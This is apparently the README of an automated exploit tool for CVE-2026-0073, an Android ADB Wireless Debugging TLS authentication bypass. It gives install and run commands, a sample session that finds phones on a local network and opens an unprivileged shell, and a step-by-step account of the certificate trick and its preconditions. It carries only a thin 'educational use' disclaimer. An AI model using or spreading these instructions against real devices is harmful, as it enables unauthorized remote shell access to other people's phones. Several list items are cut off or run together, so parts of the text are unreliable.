
An automated exploit for CVE-2026-0073 (Android ADB TLS Auth Bypass). Features a built-in mDNS/Zeroconf scanner to instantly discover randomized Wireless Debugging ports on Android 13+ and establishes a fully interactive raw PTY shell.
An automated network scanner and exploitation tool for CVE-2026-0073, a vulnerability in the Android Debug Bridge daemon (adbd) that allows unauthenticated Remote Code Execution (RCE) and interactive shell access via Wireless Debugging.
This tool is specifically optimized for modern Android devices (Android 13+), featuring mDNS auto-discovery to locate randomized ADB ports and a fully interactive raw PTY shell.
🚨 Vulnerability Summary (Android Security Bulletin)
CVE ID: CVE-2026-0073
Android Issue ID: A-469080888
Impact: RCE (Remote Code Execution)
Severity: Critical
Officially Affected Versions: Android 14, 15, 16, 16-qpr2 ........ some claimed some android 13 devices are vulnerable
⚠️ Disclaimer: This tool is provided for educational and authorized security research purposes only. Do not use this against networks or devices you do not own or have explicit permission to test.
Modern Android devices use TLS mutual authentication for Wireless Debugging to prevent unauthorized connections. However, CVE-2026-0073 exposes a cryptographic flaw: when adbd processes a client certificate utilizing non-RSA keys (such as Elliptic Curve ec or ed25519), the internal OpenSSL EVP_PKEY_cmp function returns an error code that is improperly handled, effectively bypassing the authentication check entirely.
For further reading and deep technical analysis of this vulnerability, check out the following resources:
Note on Device Susceptibility: While this bug is generally documented for specific Android versions, real-world testing has shown surprising results across various OEM implementations. As the author of the Mobile Hacker blog noted: "During my test, for some reason, I was able to exploit Android 13 as well, see Figure 1. Specifically Oppo Reno5 Z."
PATH.zeroconf Python library (for network scanning).# Install the required Python package
pip install zeroconf
Simply run the script without any arguments. It will listen to the local network for 4 seconds, catch the mDNS broadcasts of any Android devices with Wireless Debugging enabled, and present you with a menu.
python3 adb_tls_exploit.py
Example Output:
[*] Scanning local network for Android 13+ devices for 4 seconds...
[+] Found active Android devices:
[1] 192.168.1.15 : 43881 | Pixel 7
[2] 192.168.1.42 : 39105 | Oppo Reno5 Z
Select a device to target [1-2]: 2
============================================================
ADB TLS Auth Bypass -> Interactive Shell
============================================================
[*] Target : 192.168.1.42:39105
[*] Key type : ec
[*] Generating ec self-signed certificate via openssl...
[+] Server requested STLS. Upgrading to TLS...
[+] TLS handshake accepted — mutual authentication bypassed!
[*] Authenticated! Opening interactive shell service...
[+] Shell obtained! (Press Ctrl+D to exit)
Reno5Z:/ $ id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb)...
If you already know the target IP and the randomized port (or if you are targeting a legacy device on port 5555 patched to require TLS), you can bypass the scanner:
python3 adb_tls_exploit.py <IP_ADDRESS> <PORT> [--key ec|ed25519] [--verbose]
# Example
python3 adb_tls_exploit.py 192.168.1.50 42069 --key ec
zeroconf library to passively listen for _adb-tls-connect._tcp.local. services. This allows it to instantly map targets without noisy or slow TCP port sweeping.CNXN packet advertising TLS support (tls_auth).STLS, mandating a secure connection.ec) or ed25519 key.adbd attempts to verify the key. Because the key is not RSA, EVP_PKEY_cmp returns -1 or -2. The vulnerable code inside Android misinterprets this non-zero return value as a successful cryptographic match./data/misc/adb/adb_keys file is completely empty. The exploit requires at least one existing (even unrelated) key in the keystore to trigger the faulty loop comparison.apt install openssl, brew install openssl, or installing it via Windows binaries).OPEN packet with the shell\x00 destination, and wires standard input/output streams to your terminal, giving you a full, unprivileged shell (uid=2000).